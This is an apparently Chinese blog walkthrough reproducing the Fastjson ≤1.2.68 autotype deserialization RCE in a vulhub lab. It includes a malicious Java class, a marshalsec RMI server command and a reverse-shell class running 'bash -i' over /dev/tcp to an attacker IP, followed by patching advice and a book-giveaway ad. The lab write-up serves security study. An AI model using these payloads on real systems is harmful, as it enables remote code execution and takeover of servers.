Fastjson1.2.68反序列化复现(文末送书)

2021-07-08 11:41:49 浏览数 (1)

利用前提:fastjson <=1.2.68,打开了autotype

  • 搭建环境

使用vul-hub 搭建漏洞环境

访问搭好的环境看到json数据就表示搭建成功

  • 搭建攻击方web环境

假设攻击机为A 被攻击机为B

在A上搭好web服务和rmi服务,并且能够让B访问主机A

恶意类如下,在/tmp下创建success文件夹

代码语言:javascript复制
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
   static {
       try {
           Runtime rt = Runtime.getRuntime();
           String[] commands = {"touch","/tmp/success"};
           Process pc = rt.exec(commands);
           pc.waitFor();
       } catch (Exception e) {
           // do nothing
       }
    }
}

编译好class文件后搭建rmi服务

  • 搭建攻击方RMI服务

搭建rmi服务需要用到marshalsec

代码语言:javascript复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer"http://192.168.204.1/fastjson/#TouchFile" 9999

注:恶意类的class文件前要加#,而且不需要加文件后缀

  • 构造恶意请求

注意红色框重点 RMI服务后面跟A主机开放的域名(ip):端口/恶意类名称

发送恶意请求后,rmi监听的口会收到B主机的连接并读取恶意类,如果没有监听到就代表失败了

响应包如下

  • 查看命令是否被执行

使用docker ps

和 docker exec -it (镜像id) /bin/bash 进入docker搭建好的虚拟机内

发现/tmp/success 创建成功 代表恶意类中的代码被成功执行

  • 反弹shell

构建恶意类

代码如下:

代码语言:javascript复制
import java.lang.Runtime;
import java.lang.Process;

public class ReConn{
   static {
       try {
           Runtime rt = Runtime.getRuntime();
           String[] commands = {"/bin/bash","-c","bash -i>& /dev/tcp/192.168.204.1/7888 0>&1"};
           Process pc = rt.exec(commands);
           pc.waitFor();
       } catch (Exception e) {
           // do nothing
       }
    }
}

使用nc监听7888端口

开启RMI服务

恶意请求

结果

  • 批量检测工具fastjson scan
  • 修复建议

1、升级 Fastjson 到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype);

2、WAF拦截过滤请求包中的

@type、@type, u0040type,

x04type等多种编码的autotype 变形;

3、最少升级到1.2.48以上版本且关闭autotype 选项;升级对应JDK版本到8u191/7u201/6u211/11.0.1 以上。


1.《从实践中学习TCP/IP协议》

从理论、应用和实践三个维度讲TCP/IP;通过96个实例带你从实践中学习;结合Wireshark和netwox工具讲解;详解ARP、DHCP、DNS、SNMP、Telnet和WHOIS等协议。

2.《从实践中学习Metasploit 5渗透测试》

从理论、应用和实践三个维度讲解新版Metasploit 5渗透测试;通过153个操作实例手把手带你学习和实践;涵盖环境搭建、漏洞信息获取、项目准备、实施攻击、漏洞利用等。

3.《从实践中学习Windows渗透测试》

从理论、应用和实践三个维度讲解Windows渗透测试的相关知识

通过136个操作实例手把手带领读者从实践中学习Windows渗透测试

4.《web防火墙构建》

从理论、应用和实践三个维度介绍Web防火墙构建的相关知识

由浅入深地剖析OSI模型中不同层级的攻击原理和防御方法

涵盖环境搭建、攻击类型、攻击示例、攻击过程分析、防御方法……

5.《从实践中学习Kali Linux渗透测试》

从理论、应用和实践三个维度讲解Kali Linux渗透测试的相关知识

通过145个操作实例手把手带领读者从实践中学习Kali Linux渗透测试技术

涵盖环境搭建、信息收集、漏洞扫描与利用、嗅探欺骗、密码攻击、无线渗透……

基于Kali Linux滚动更新(Kali Rolling)版本写作

重点介绍渗透测试三大环节:信息收集、漏洞扫描、漏洞利用

活动详情

为了感谢一直关注我们Khan安全攻防实验室的粉丝们,我们将送出由机械工业出版社赞助的信息安全图书(任选其中一本)

0 人点赞